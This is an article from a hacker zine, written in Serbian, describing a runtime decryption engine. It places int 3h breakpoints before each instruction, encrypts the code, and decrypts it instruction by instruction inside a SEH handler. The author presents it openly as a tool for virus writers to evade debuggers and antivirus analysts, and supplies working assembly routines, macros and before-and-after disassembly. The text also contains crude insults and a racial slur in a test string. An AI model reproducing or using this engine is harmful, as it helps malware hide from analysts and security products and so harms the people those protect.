
                            ...................
                      ...::: phearless zine #2 :::...
		      
.............>---[ Runtime Decryption and Meta Swap Engine ]---<...............

...........................>---[ by deroko ]---<...............................                    
			                                      deroko[at]gmail[dot]com
			                                 http://deroko.headcoders.net
								
                            Runtime dekripcija 

Runtime Dekripcija Teorija
       
Ovo bi znacilo da je kod enkriptovan i da se tokom samog izvrsavanja dekriptuje.
Posto sam kratak sa vrmeneom, moram da napisem ono do cega sam ja dosao i ono sto
kod mene radi. Ovaj kod nisam opet zbog vremena bio u mogucnosti da uradim da se
prosto ubacuje u kod nekog virusa kao i moj Meta-swap-engine. 
Naime runtime dekripcija se sastoji u tome da moramo nekako dekriptovati sledecu
instrukciju pre  nego sto EIP pokaze na nju. To se najbolje moze postici preko 
int 3h koja ce signalizirati breakpoint. Zatim moramo postaviti nas SEH handle 
koji ce da procesira ovaj exception. Dobra strana ovog koda je u tome sto ce 
debuggeri da uhvate int 3h kao breakpoint i nas SEH nece biti ucitan. Dakle 
anti-debug tehnika koja moze lepo da posluzi. Ne savrsena, ali lepo radi.
Nedovrsena tehnika ali ce lepo posluziti ako zelite da se bavite ovom tematikom.
       
Problemi koje sam imao i sa kojima sam se susreo.
       
Prvo i osnovno je da u glavi imate nacisto sta cete da radite jer u suprotnom 
cete naleteti na gomilu problema koji mogu u pocetku da izgledaju bezazleno. Ja 
licno kad sam ovo poceo da pisem nisam u glavi imao nacisto sta hocu, vec sam 
samo znao da ocu int 3h da koristim, kako sta gde? Pojma nisam imao jer nisam 
dugo mislio o tome. Dakle papir/olovka ideja, to je nekih 2-3 sata razmisljanja,
a tako cete sacuvati dosta vremena kod pisanaj koda i znacete sta treba da se 
menja ili gde moze da ne pasuje. Pogotovo je jebeno ako ovaj kod tracujete kroz 
neki debugger jer int 3 kao sto rekoh hvata debugger tako da necete moci da 
pratite izvrsavanje svog koda. Ali o tome kako pratiti i sta ciniti cemo na kraju.
Drugi problem koji je malo, da kazem, ahhhmm jeben, jeste jmp/call/jcc koji se
moraju preurediti kako bi preskocili silne int 3 koje smo ubacili ispred svake 
instrukcije. Engin trenutno moze da se izbori sa short relativnim call i short 
jcc/jmp koji idu napred i unatraske :) Sto potvrdjuje kod koji sam dao za
testiranje. Naime svaku instrukciju moramo posmatrati kao jednu grupu.
Dakle ovako nesto :
       1.     mov    eax, ebx
       2.     push   eax
       3.     pop    ebx
       4.     call   __negde
       Svaka instrukcija i int3h ispred nje predtsavlja posebnu grupu:
       1.     int    3h
              mov    eax, ebx
       2.     int    3h  
              push   eax
       3.     int    3h
              pop    ebx
       4.     int    3h
              call   __negde
       
Dakle kao sto vidimo moramo razmisljati ko da imamo grupu instrukcija gde se 
svaka sastoji od int 3h i nase instrukcije. Ukoliko zelite lakse ovo da kodirate,
mozete jednostavno napraviti makro koji ce sve umesto vas uraditi:
       fuck_kav_sophos      macro param
              int    3h
              param
       endm
       
       i kodirate ovako nesto:
       fuck_kav_sophos      <mov   eax, ebx>
       
Mada to resenje jeste elegantno, ali nije zanimljivo :) Jer Assembler ce sam 
modifikovati sve call/jmp/jcc bilo kakvi da su dirketni, indirektni, kratki, 
dugi :) A mi zelimo da rucno sve uradimo a zamislite kod virusa koji izgleda ovako :
       fuck_kav_sophos      <call  [ebp.pMessageBoxA]>
       
i tako dalje i tako dalje, mada, normalno ime moze da bude krace, ali ja licno 
mrzim KAV i Sophos i zato koristim ovakva imena za moje makroe, a ako se procitali 
moj tekst o BlackHand.w32 onda me i razumete sto takve macro-e koristim.
No zavisnosti od toga, da li koristimo makroe ili pak koristimo generisanje 
int 3h u nasem kodu nas pristup je drugaciji i daleko slozeniji.

Budimo ludi i ne koristimo makro:
       
Ok ovaj deo je mnogo slozeniji nego sto na prvi pogled moze da izgleda. Algoritam 
za to je sledeci.
       1. Nadjimo duzinu svih instrukcija i ubacimo ih u neki buffer
       2. Prelistajmo taj buffer i dodajemo int 3h ispred svake instrukcije int 3h
       3. Redirektujemo nekoliko jmp/call/jcc
       4. Kriptujemo sve instrukcije sa nekim lakim algoritmom
       5. Namestimo nas SEH koji ce on-da-fly da dekriptuje pojedinacno svaku 
          instrukciju
       
1. Trazenje duzine instrukcija nije lak posao ako odlucite to sami da radite i 
da sami piste engin za to. Zato ja koristim uNdErX-ov MLDE32, a na raspolaganju 
vam stoje jos 2 dobra engina, a to su z0mbie - LDE i roy 'g' biv - RGBLDE koji 
su fenomenalni i koji ce takodje lepo odraditi posao za vas. A download za njih 
mozete naci u delu reference(VX Heavens).
Kod koji ce to odraditi za nas je sledeci :
       
       __find_len:          call   mlde32, ebx
                            stosd
                            add    ebx, eax
                            cmp    ebx, offset __end_dummy
                            jb     __find_len
       
Pri cemo edi pokazuje na buffer koji cuva duzinu instrukcija, a ebx na deo koda 
ciju duzinu instrukcija trazimo. Ovaj deo je prost kad imate gotov LDE (Length 
Dissasembler Engin), ali ako zelite da piste svoj, zelim vam puno srece u
analiziranju tablica sa instrukcijama koje se mogu naci u intell developer IA32 
Guide - Volume 2. Dakle jednom recju srecno, ako ste ludi da sami trazite duzinu
instrukcija. 
       
2. Ok posto sad znamo kolika je duzina svake instrukcije moramo ispred svake 
dodati int 3h. Dakle moramo imati i poseban buffer u kome cemo konstruisati novi
kod. Algoritam je sledeci u buffer stavljamo int 3h, zatim kopiramo instrukciju,
onda opet int 3h pa opet kopiramo instrukciju i tako u krug.
Kod koji to radi za nas je sledeci:
                            mov    edx, instrlen        ;when intstrlen == 0 end of code
                            mov    esi, offset __dummy  ;offset of code
                            mov    edi, memptr          ;new buffer in edi
       __cycle_and_store:   mov    al, int3opcode
                            stosb
                            mov    ecx, dword ptr[edx]
                            rep    movsb
                            add    edx, 4
                            cmp    dword ptr[edx], null
                            jne    __cycle_and_store                      
       
Dakle krajnje prosto, edx ima buffer koji cuva duzinu instrukcija, esi pocetak 
koda, a edi pokazuje na buffer u kojicemo kopirati instrukcije. I idemo:
       mov    al, int3opcode         ;gde je int3opcode = 0xCC
       stsob                         ;stavimo int3 ispred instrukcije
       mov    ecx, dword ptr[edx]    ;u ecx ide duzina instrukcije
       rep    movsb                  ;kopirajmo instrukciju u buffer
       add    edx, 4                 ;duzina sledece instrukcije
       cmp    dword ptr[edx], null   ;da li je duzina sledece instrukije 0?
       jne    __cycle_and_store      ;ne - idemo opet u petlju, da - zavrsili 
                                     ;smo sa ovim delom
       
3. Ovo je ubedljivo najtezi deo koda, ovde cu izloziti teoriju, a u kodu mozete
videti kako to radi, pa cete shvatiti sto je moj predlog koristi makroe prilikom
kodiranja ovakvog koga. Prvo moramo razmisliti sta to i kako cemo redirectovati?
Nas algoritam za reloakciju jmp/jcc/call zavisi od toga da li je u pitranju 
jcc/jmp ili call, a za svaki od njih da li sakcemo napred ili unazad.
Prvo moramo znati duzinu ovih instrukcija unapred i znati koje da procesiramo 
kroz nas algoritam cime umanjujemo vreme koje nam je potrebno za relokaciju i 
kod ide brze. Takodje moramo znati tacno sta cemo procesirati kroz kod. jmp/jcc 
2 byte, call relativni 5 byte. Dakle procesiramo instrukcije koje su duge 2 i 5 
byte, a pritom proveravamo da li je u pitanju call ili jmp/jcc, a u okvirus svake 
od njih moramo proveriti da li je u pitanju signed ili usnigned i onda ih po tom
principu redirektovati. Kod koji radi ovaj deo drugi deo posla je malo konfuzan
i ni meni nije licno jasno sta sam ja tu sve radio, ali imate kod pa mozete 
pogledati. Ja cu se ovde kratko osvrnuti samo na algoritam koji procesira duzinu
instrukcija:
       
                            mov    esi, memptr
                            inc    esi    ;skip int 3h
                            mov    edx, instrlen
       __cycle_lens:        cmp    dword ptr[edx], null
                            je     __@@3
                            cmp    dword ptr[edx], 2     ;is it jcc/jmp opcode len?                     
                            je     __change_jccjmpcall
                            cmp    dword ptr[edx], 5     ;is it call maybe?
                            jne    _@3                   
       ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
       ; check for call/jmp/jcc
       ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
       __change_jccjmpcall:
                            xor    eax, eax
                            xor    ebx, ebx
                            xor    ecx, ecx
                            lodsb
                            cmp    al, callopcode
                            je     __call
                            cmp    al, jmpopcode
                            je     __jmp_jcc
                            and    al, 11110000b
                            cmp    al, jccopcode
                            je     __jmp_jcc
                            dec    esi     
                            jmp    _@3
                                                         
Dakle to je algoritam za procesiranje shot jmp/jcc i relativnog near call s tim 
sto je kod koji vrsi redirekciju jmp/call/jcc malko slozeniji. On u sustini radi 
ovako: Uzimimo offset na koji pokazuje jmp/jcc/call (ubuduce jjc skraceno), zatim 
uzmemo duzinu instrukcija i oduzimamo od offseta duzinu instrukcija pri cemu 
moramo voditi racuna koliko instrukcija imzedju ima. Ja korsitim ecx kao counter 
jer za svaku instrukciju moramo dodati 1 sto je jednako duzini int 3 + instrukcija. 
Kad dodjemo do 0, uzmemo raniju vrednost i na nju dodamo/oduzmemo broj koji je 
dobijen u counteru (ecx u ovom slucaju) i na taj nacin smo izvrsili uspesno 
redirekciju jjc. Pri tom moramo voditi racuna da li je rec o jcc koji idu napred
ili unazad. Kod koji to proverava je sledeci (obratite paznju da jmp/jcc su 
praceni sa 1byte offsetom dok je call pracen sa 4 byte):
       
       jccsigned            equ    80h 
       callsigned           equ    80000000h
       
                            test   al, jccsigned    ; napred ili nazad
                            jnz     __jcc_backward  ; <- jcc/jmp ide unazad
                     
                            test   eax, callsigned  ; napred ili nazad?
                            jnz    __call_backward  ; <- call ide unazad
                            
U zavisnosti od napred/nazad nas algoritam je razlicit ali za to vam prepustam 
kod, jer sam se i ja namucio da sve to odradim :)
       
4. Posto smo sve ovo zavrsili, red je da kriptujemo instrukcije nekim laganim 
algoritmom, ja sam se odlucio za ror al, 4 ili rol al, 4 jel su oba ista kad se 
koriste sa brojem koji predtavlja sredinu registra:
       ror eax, 16 = rol eax, 16
       ror ax, 8   = rol ax, 8
       rol al, 4   = rol al, 4
No nebitno, ono sto je kljucno sto sam se opredelio za ovaj algoritam jeste sto 
mogu mirne duse da na taj nacin kriptujem ceo buffer bez brige da ce se int 3h sjebati. 
int 3h opcode = 0xCC kad ga rolujemo za 4 on je opet 0xCC pa mi taj algoritam 
dodje nekako lepsi. Normalno da mozete da kriptujete na druge nacine ali morate 
voditi racuna o tome da int 3h ostane netaknut u tom slucaju. Kod koji radi ovu
prostu enkripciju je sledeci:
       
                            mov    edx, instrlen
                            xor    ecx, ecx
                            xor    ebx, ebx
                            xor    eax, eax
       __len_of_memptr:     inc    ecx
                            add    ecx, dword ptr[edx]
                            add    edx, 4
                            cmp    dword ptr[edx], null
                            jne    __len_of_memptr
                            mov    esi, memptr
                            mov    edi, esi
       __crypt_memptr:      lodsb
                            ror    al, 4
                            stosb
                            loop   __crypt_memptr
Algoritam je prost, izracunamo duzinu svih instrukcija i za svaku instrukciju 
inkremenujemo ecx koji ce nam na kraju reci koliko je duzina buffera + int 3h 
ispred svake instrukcije. Posle toga idemo prost loop sa lodsb/stosb i enkripcijom 
izmedju ( ror al, 4) To je to buffer je enkriptovan, a evo i kako zigleda sa i 
bez enkripcije:
       
       00830000   CC               INT3
       00830001   B8 3CCCB81D      MOV EAX,1DB8CC3C
       00830006   CC               INT3
       00830007   8EE7             MOV FS,DI                                ; Modification of segment register
       00830009   0000             ADD BYTE PTR DS:[EAX],AL
       0083000B   00CC             ADD AH,CL
       0083000D   AB               STOS DWORD PTR ES:[EDI]
       0083000E   FFFF             ???                                      ; Unknown command
       00830010   FFFF             ???                                      ; Unknown command
       00830012   CC               INT3
       00830013   BE E6CC05CC      MOV ESI,CC05CCE6
       00830018   B8 444240CC      MOV EAX,CC404244
       0083001D   384C40 CC        CMP BYTE PTR DS:[EAX+EAX*2-34],CL
       00830021   33BD CC18BE19    XOR EDI,DWORD PTR SS:[EBP+19BE18CC]
       00830027   FF68 78          JMP FAR FWORD PTR DS:[EAX+78]            ; Far jump
       0083002A   CC               INT3
       0083002B   35 CC183F70      XOR EAX,703F18CC
       00830030   56               PUSH ESI
       00830031   51               PUSH ECX
       00830032   41               INC ECX
       00830033   CC               INT3
       00830034   35 CCB8CFCC      XOR EAX,CCCFB8CC
       00830039   33BD CC18BE00    XOR EDI,DWORD PTR SS:[EBP+BE18CC]
       ...
       
       I bez enkripcije kako to izgleda:
       
       00830000   CC               INT3
       00830001   8BC3             MOV EAX,EBX
       00830003   CC               INT3
       00830004   8BD1             MOV EDX,ECX
       00830006   CC               INT3
       00830007   E8 7E000000      CALL 0083008A
       0083000C   CC               INT3
       0083000D   BA FFFFFFFF      MOV EDX,-1
       00830012   CC               INT3
       00830013   EB 6E            JMP SHORT 00830083
       00830015   CC               INT3
       00830016   50               PUSH EAX
       00830017   CC               INT3
       00830018   8B4424 04        MOV EAX,DWORD PTR SS:[ESP+4]
       0083001C   CC               INT3
       0083001D   83C4 04          ADD ESP,4
       00830020   CC               INT3
       00830021   33DB             XOR EBX, EBX
       ...

       Dakle potpuno isti kod samo kriptovan, i potpuno mu je promenjen smisao.
       
5. Najvazniji deo ovog koda je u SEHu. Naime int 3h generise izuzetak (exception)
koji debuggeri hvataju i on nije nista drugo do breakpoint, no medjutim mi moramo
da napravimo nas SEH koji ce uhvatit int 3h, za zatim dekriptovati instrukciju 
iza njega i prenete izvrsavanje koda na tu instrukciju do sledeceg int 3h, krajnje 
lepo i jasno. Priliko setovanja SEHa, ovo valjda znate, nama je najvazniji treci 
parametar koji ta struktura prima, a to je pointer na CONTEXT od programa ciji 
je exception uhvacen. CONTEXT je struktura koja sadrzi sve registre koje program
koristi, ali je nama najbitniji EIP jer buduci da EIP pokazuje na int3 iza koje 
sledi instrukcija, znamo gde treba da vrsimo dekripciju i dokle da je vrsimo 
(do sledeceg int 3h). Lepota ovog koda je u tome sto ce debugger, biti nemocan 
pred ovim kodom buduci da ce on hvatati int 3h kao breakpoint. Dakle nesumnjivo 
ANTI-DEBUG tehnika. No kako taj SEH izgleda u praksi:
       
       sehhandle     proc C pException:DWORD, pFrame:DWORD, pContext:DWORD, param:DWORD
                            mov    ebx, pContext
                            mov    esi, [ebx.CONTEXT_Eip]    
                                                            
                            inc    esi
                            mov    edi, esi
       __decrypt:           lodsb
                            ror    al, 4
                            stosb
                            cmp    al, int3opcode
                            jne    __decrypt
                            mov    ebx, pContext
                            inc    [ebx.CONTEXT_Eip]      
                            xor    eax, eax
                            ret    
       sehhandle     endp       
       
Dakle ebx pokazuje na CONTEXT i u esi stavljamo EIP odnosno mesto gde se pojavio 
exception, takodje moj savet je da proveravamo da li je rec o int 3h exceptionu 
preko pException jer cemo tako lako moci da znamo da li je to exception koji ovaj 
SEH treba da procesira ili pak neki drugi u nizu koji budemo postavili(program 
moze da ima vise SEH recimo po jedan za svaku gresku)
Idemo dalje :
              inc    esi 
              pokazuje na kriptovanu instrukciju koja ide odma iza int 3h
              i onda idemo ista dekripcija ko i enkripcija
              lodsb
              ror    al, 4
              stosb
i tako u krug dok ne naidjemo na sledeci int3opcode
Posle toga uvecavamo EIP za 1 kako bi program nastavio izvrsavanje sa dekriptovane i
instrukcije setujemo eax na 0 kako bi nastavili izvrsavanje sa mesta na koje 
pokazuje EIP i voila sve u krug dok nas kod ne zavrsi sa izvrsavanjem samog sebe.
       
       U test programu koji sam prilozio mozzete videti kako to radi u praski.

Budimo pametni i koristimo MAKROe:
       
Na ovaj nacin izbegavamo sve probleme sa kojima smo se susretali malopre, lepo 
Mental Driler kaze RAZMISLJAJTE MAKROIMA. Ovo resenje je tako lako i elegantno
da ja nemam reci. Ako ste ludi i mazohista koristicete gornje resenje, medjutim 
ako ste pametni kao sto ja nisam bio onda cete odma udariti na makroe i resicete
sve svoje muke. Ono sto vam nisam rekao na pocetku, a bitno je da se kod mora 
zavrsiti sa int 3h na kraju kako bi nas SEH znao dokle da dekriptuje postojecu 
instrukciju.
       
       Dakle evo su dva makroa koje ja koristim u te svrhe:
       
       fuck_kav_sophos      macro param
                     int    3h
                     param
       endm  
       
       end_fuck_kav_sophos_code    macro
                     int    3h
       endm  
       
       I kod koji te makroe koristi:
       
       
       __fuck_kav_sophos:   fuck_kav_sophos <push       0>
                            fuck_kav_sophos <push       offset mTitle>
                            fuck_kav_sophos <push       offset mText>
                            fuck_kav_sophos <push       0>
                            fuck_kav_sophos <call       MessageBoxA>
                            fuck_kav_sophos <call       __dummy>
                            fuck_kav_sophos <push       0>
                            fuck_kav_sophos <call       ExitProcess>
       __dummy:             fuck_kav_sophos <push       eax>
                            fuck_kav_sophos <jmp        __dummy2>
       __dummy3:            fuck_kav_sophos <pop        eax>
                            fuck_kav_sophos <ret>
       __dummy2:            fuck_kav_sophos <mov        eax, 0deadc0deh>
                            fuck_kav_sophos <jmp        __dummy3>
                            end_fuck_kav_sophos_code
       __end_fuck_kav_sophos:
       
I kao sto vidite malo je komplikovano pisati ga, ali ako makro ima krace ime onda
ne vidim nikakav problem tu. Recimo fks makro bi mogao da se zove, skraceno od
fuck_kuv_sophos.(ovo dummy, dummy2 i dummy3 su tu cisto zbog testiranja koda)
       
Seh je isti kao i gore, call/jmp/jcc su automatski sredjeni od strane kompajlera 
i nama ostaje samo da se smejemo glupacima iz KAV i Sophosa dok analiziraju
ovakav kod. Da ne bude zabune, evo kako kod izgleda pre i posle enkripcije:

       00401024  |. CC             INT3
       00401025  |. 6A 00          PUSH 0                                   ; /Style = MB_OK|MB_APPLMODAL
       00401027  |. CC             INT3                                     ; |
       00401028  |. 68 00204000    PUSH makro.00402000                      ; |Title = "hello"
       0040102D  |. CC             INT3                                     ; |
       0040102E  |. 68 06204000    PUSH makro.00402006                      ; |Text = "Yo mY nIgGaZ"
       00401033  |. CC             INT3                                     ; |
       00401034  |. 6A 00          PUSH 0                                   ; |hOwner = NULL
       00401036  |. CC             INT3                                     ; |
       00401037  |. E8 4E000000    CALL <JMP.&USER32.MessageBoxA>           ; \MessageBoxA
       0040103C  |. CC             INT3
       0040103D  |. E8 09000000    CALL makro.0040104B
       00401042  |. CC             INT3
       00401043  |. 6A 00          PUSH 0                                   ; /ExitCode = 0
       00401045  |. CC             INT3                                     ; |
       00401046  \. E8 39000000    CALL <JMP.&KERNEL32.ExitProcess>         ; \ExitProcess
       0040104B  /$ CC             INT3
       0040104C  |. 50             PUSH EAX
       0040104D  |. CC             INT3
       0040104E  |. EB 04          JMP SHORT makro.00401054
       00401050  |> CC             INT3
       00401051  |. 58             POP EAX
       00401052  |. CC             INT3
       00401053  |. C3             RETN
       00401054  |> CC             INT3
       00401055  |. B8 DEC0ADDE    MOV EAX,DEADC0DE
       0040105A  |. CC             INT3
       0040105B  \.^EB F3          JMP SHORT makro.00401050
       0040105D     CC             INT3

       I posle nase drage enkripcije to izgleda ovako :
       
       00401024  |. CC             INT3
       00401025  |. A6             CMPS BYTE PTR DS:[ESI],BYTE PTR ES:[EDI] ; /Style
       00401026  |? 00CC           ADD AH,CL
       00401028  |. 8600           XCHG BYTE PTR DS:[EAX],AL                ; |Title
       0040102A  |? 020400         ADD AL,BYTE PTR DS:[EAX+EAX]
       0040102D  |. CC             INT3                                     ; |
       0040102E  |. 8660 02        XCHG BYTE PTR DS:[EAX+2],AH              ; |Text
       00401031  |? 04 00          ADD AL,0
       00401033  |. CC             INT3                                     ; |
       00401034  |. A6             CMPS BYTE PTR DS:[ESI],BYTE PTR ES:[EDI] ; |hOwner
       00401035  |? 00CC           ADD AH,CL
       00401037  |. 8EE4           MOV FS,SP                                ; \MessageBoxA
       00401039  |? 0000           ADD BYTE PTR DS:[EAX],AL
       0040103B  |? 00CC           ADD AH,CL
       0040103D  |. 8E90 000000CC  MOV SS,WORD PTR DS:[EAX+CC000000]        ;  Modification of segment register
       00401043  |. A6             CMPS BYTE PTR DS:[ESI],BYTE PTR ES:[EDI] ; /ExitCode
       00401044  |? 00CC           ADD AH,CL
       00401046  \. 8E93 000000CC  MOV SS,WORD PTR DS:[EBX+CC000000]        ; \ExitProcess
       0040104C  |. 05 CCBE40CC    ADD EAX,CC40BECC
       00401051  |. 85CC           TEST ESP,ECX
       00401053  |. 3C CC          CMP AL,0CC
       00401055  |. 8BED           MOV EBP,EBP
       00401057  |? 0C DA          OR AL,0DA
       00401059  |? ED             IN EAX,DX                                ;  I/O command
       0040105A  |. CC             INT3
       0040105B  \. BE 3FCCC800    MOV ESI,0C8CC3F
       
Carobno, magicno, predivno, zamislite nekoga ko gleda ovaj kod!? Jos sto je 
najgore debugger hvata int 3h, ali ga ne prebacuje nasem SEHu i tako kod ostaje 
ne dekriptovan. Jedino moze neki mazohista da ide rucno pa da dekriptuje 
instrukciju po instrukciju, ali to je sizifov posao. Takodje moze i da se ubaci 
slozenija enkripcija pojedinih instrukcija, ali je mana sto int 3h ne sme da bude 
kriptovan. Razlog tome je kad imamo jmp/jcc/call, jer ako kriptujemo int3h na 
mestima gde jjc skace mozemo otici na nepredvidivo mesto jer kriptovani int 3h 
nece biti pravilno procitan od stane CPU i dobicemo gresku koju necemo znati da 
lepo preradimo :) No i za to ima resenja.
       
Ok posto zelimo da nas kod bude stealth sto vise, i da sakrijemo gomilu ovih 0xCC 
(int 3h) mozemo pribeci nekim trikovima. Nas probelm predstavljaju, kao sto sam 
malopre napomenuo jmp/jcc/call prilikom skakanja na kriptovan int 3h. U nacelu
mozemo da imamo dva resenja:
1. Da pratimo call/jmp/jcc i da na tim mestima ostavimo int 3h vidljiv (ovo je 
   teze resenje)
2. Da postavimo markere koji bi nasem kripteru rekli koji int3h da ne dira.
       
Prvo resenje odbacujem, jer nije elegantno i puno kodiranja treba.
Drugo resenje je mnogo bolje i lakse, jer lako mozemo naci set instrukcija koje 
se veoma retko koriste i samim tim mozemo proveravati da li je o njima rec. U te
svrhe ja koristim sledeci makro:
       
       fuck_kav_sophos_call_block  macro
                     pushf
                     popf
       endm
       
Dakle tokom enkripcije samo trebamo proveriti da li je rec o ove dve instrukcije 
i sam tim cemo znati da li int 3h treba ili ne treba dirati. Kod koji ce to 
odraditi je sledeci:
       
                            mov    ecx, __end_fuck_kav_sophos - __fuck_kav_sophos - 1
                            mov    esi, offset   __fuck_kav_sophos
                            inc    esi
       __cycle_crypt:       cmp    word ptr[esi], magic
                            jne    __cont_crypt
                            add    esi, 3               ;skip int3 after magic code
                            sub    ecx, 2
                            jmp    __looping
       __cont_crypt:        xor    byte ptr[esi], 0DEh
                            inc    esi
       __looping:           loop   __cycle_crypt
       
Na ovaj nacin cemo omoguciti da se ne kriptuje int 3h posle pushf/popf kombinacije.
Medjutim ovde ima i par trikova na koje moramo paziti. Moj algoritam dekriptuje 
instrukcije tako sto dekriptuje trenutni instrukciju i int 3h iza nje. Medjutim, 
problem nastaje ako mi imamo ovakvu situaciju:

                            fuck_kav_sophos <call       __dummy>
       __dummy:             fuck_kav_sophos_call_block
                            fuck_kav_sophos <mov        eax, eax>
       
       Ako to prebacimo u asm, imamo sledecu situaciju:
       1.                     int    3h
       2.                     call   __dummy
       3.__dummy:             pushf
       4.                     popf
       5.                     int    3h
       6.                     mov    eax, eax
       
Kad moj SEH shvati da je u pitanju int 3h ispred call __dummy on ce dekriptovati
instrukcije dok ne nadje int 3h. U ovom slucaju on ce poceti od linije 2. i 
zavristi na liniji 5. gde ce dekodirati int 3h u ispravnu instrukciju, ali ce u
na tom putu unistiti pushf/popf kombinaciju i kad SEH prebaci kontrolu na call 
__dummy mi cemo uleteti na unistene pushf/popf i nas program ce pasti. Trik ka 
zaobilazenju ovog je opet koriscenje int 3h. Dakle gornji kod prepisan bi trebalo
ovako da izgleda:
       1.                     int    3h
       2.                     call   __dummy
       3.                     int    3h
       4.__dummy:             pushf
       5.                     popf
       6.                     int    3h
       7.                     mov    eax, eax       
       
ovako ce SEH znati da dekriptuje call do sledeceg int 3h, trik nije u tome da se
int 3h stavi iza call, vec ispred fuck_kav_sophos_call_block makroa. Ja u te 
svrhe koristim makro marker i on je kranje prost:
       
       marker                      macro
                            int    3h
       endm
       
       Kod bi trebalo ovako da izgleda kako bi uspesno radio:
       
                            fuck_kav_sophos <call       __dummy>
       
                            marker                      ;<--------evo ga marker!!!!
       __dummy:             fuck_kav_sophos_call_block
                            fuck_kav_sophos <mov        eax, eax>       
       
Medjutim, ajmo dalje i recimo da hocemo da ubacimo neki kod ili eventualno neki 
SEH koji je pisao Jacky Qwerty. Recimo kad proveravamo da li je EXE validan PE,
moze se desiti (veoma retko ali moze) da je offset koji pokazuje na PE negativan
broj i da cemo njegovim dodavanjem na base adresu mapiranog fajla skociti bog te
pita gde, sto ce prouzrokovati Exception. No jacky qwerty je u svojim fenomenalnim 
include fajlovima, koji su za pisanje virusa "must have" napravio odlicna dva makroa
za procesiranje gresaka. No problem sa njima je sto svaku gresku hvataju i skacu
tamo gde smo mi odredili. Ukoliko ovakav SEH postavimo pre naseg dekriptor SEH,
nas SEH nece ni moci da dekriptuje instrukcije. U te svrhe ja izbegavam da 
koristim fuck_kav_sophos makro, dok se nalazimo u okviru koda koji moze da pukne 
(ali i ne mora). Problem je ovde opet isti kao i call/jmp/jcc jer gore instrukcije 
nece reci nasem SEH gde je kraj. Doduse ovo nije problem jer cemo dekriptovati 
instrukciju iz fuck_kav_sophos makroa, ali i gole instrukcije do sledeceg makroa. 
Rezmotrimo sledeci kod:
       1.                     fuck_kav_sophos <call       MessageBoxA>
       2.                     @SEH_SetupFrame <jmp __safe>
       3.                     xor    eax, eax
       4.                     mov    dword ptr[eax], eax
       5.__safe:              @SEH_RemoveFrame       
       6.                     fuck_kav_sophos <call       __dummy>
       
Nas SEH ce dekriptovati od linije 1 do linije 5 (i liniju 5 ujedno), medjutim ja
hocu da se dekriptuje instrukcija po instrukcija. Dakle resenje je pre golog koda 
ubaciti opet int 3. Ja za to opet koristim makro (iako moze rucno, ali mi je 
lakse da analiziram kod)
       
       fuck_kav_sophos_code_block  macro
                            int    3h
       endm                     
       
Znaci opet dajemo znak nasem SEH dekriptoru gde da se zaustavi. I da ne dekriptuje
vise nego sto bi trebalo da dekriptuje. Da iskren budem, ovaj deo je sasvim
opcionalan i nije ga neophodno koristiti uopste. Ali eto ja sam se zainatio da 
se sve dekriptuje svojim redom i tako neka i bude.
Sve u svemu prepravljen kod bi izgledao nesto ovako:
       
                            fuck_kav_sophos <call       MessageBoxA>
                     
                            fuck_kav_sophos_code_block
                            @SEH_SetupFrame <jmp __safe>
                            xor    eax, eax
                            mov    dword ptr[eax], eax
       __safe:              @SEH_RemoveFrame
                    
                            fuck_kav_sophos <call       __dummy>
I sad ce SEH da dekriptuje <call   MessageBoxA>, i onda ce posebno dekriptovati 
nase instrukcije. Opet da napomenem, ovo je opcionalno i nije neophodno. Takodje
se podrazumeva da posle svog code block-a imate i fuck_kav_sophos makro kako bi 
SEH znao dokle da dekriptuje.
Sad da vidimo kako taj kod izgleda u ASM kroz novu enkripciju/dekripciju:
       
       00401033   . CC             INT3
       00401034   . 6A 00          PUSH 0                                   ; /Style = MB_OK|MB_APPLMODAL
       00401036   . CC             INT3                                     ; |
       00401037   . 68 00204000    PUSH makro2.00402000                     ; |Title = "hello"
       0040103C   . CC             INT3                                     ; |
       0040103D   . 68 06204000    PUSH makro2.00402006                     ; |Text = "Yo mY nIgGaZ"
       00401042   . CC             INT3                                     ; |
       00401043   . 6A 00          PUSH 0                                   ; |hOwner = NULL
       00401045   . CC             INT3                                     ; |
       00401046   . E8 82000000    CALL <JMP.&USER32.MessageBoxA>           ; \MessageBoxA
       0040104B   . CC             INT3
       0040104C   . E8 06000000    CALL makro2.00401057
       00401051   . 8B6424 08      MOV ESP,DWORD PTR SS:[ESP+8]
       00401055   . EB 0C          JMP SHORT makro2.00401063
       00401057  /$ 33D2           XOR EDX,EDX
       00401059  |. 64:FF32        PUSH DWORD PTR FS:[EDX]
       0040105C  |. 64:8922        MOV DWORD PTR FS:[EDX],ESP
       0040105F  |. 33C0           XOR EAX,EAX
       00401061  |. 8900           MOV DWORD PTR DS:[EAX],EAX
       00401063  |> 33D2           XOR EDX,EDX
       00401065  |. 64:8F02        POP DWORD PTR FS:[EDX]
       00401068  |. 5A             POP EDX
       00401069  |. CC             INT3
       0040106A  |. E8 0A000000    CALL makro2.00401079
       0040106F  |. CC             INT3
       00401070  |. 6A 00          PUSH 0                                   ; /ExitCode = 0
       00401072  |. CC             INT3                                     ; |
       00401073  \. E8 4F000000    CALL <JMP.&KERNEL32.ExitProcess>         ; \ExitProcess
       00401078     CC             INT3
       00401079   $ 9C             PUSHFD
       0040107A   . 9D             POPFD
       0040107B   . CC             INT3
       0040107C   . 50             PUSH EAX
       0040107D   . CC             INT3
       0040107E   . EB 08          JMP SHORT makro2.00401088
       00401080     CC             INT3
       00401081   > 9C             PUSHFD
       00401082   . 9D             POPFD
       00401083   . CC             INT3
       00401084   . 58             POP EAX
       00401085   . CC             INT3
       00401086   . C3             RETN
       00401087     CC             INT3
       00401088   > 9C             PUSHFD
       00401089   . 9D             POPFD
       0040108A   . CC             INT3
       0040108B   . B8 DEC0ADDE    MOV EAX,DEADC0DE
       00401090   . CC             INT3
       00401091   .^EB EE          JMP SHORT makro2.00401081
       00401093     CC             INT3

       i kriptovano i spremno za izvrsavanje :
       
       00401033   . CC             INT3   
       00401034   . B4 DE          MOV AH,0DE                               ; /Style
       00401036   . 12B6 DEFE9EDE  ADC DH,BYTE PTR DS:[ESI+DE9EFEDE]        ; |
       0040103C   . 12B6 D8FE9EDE  ADC DH,BYTE PTR DS:[ESI+DE9EFED8]        ; |
       00401042   . 12B4DE 12365CD>ADC DH,BYTE PTR DS:[ESI+EBX*8+DE5C3612]  ; |
       00401049   ? DEDE           FICOMP ESI                               ;  Illegal use of register
       0040104B   . 1236           ADC DH,BYTE PTR DS:[ESI]
       0040104D   ? D8DE           FCOMP ST(6)
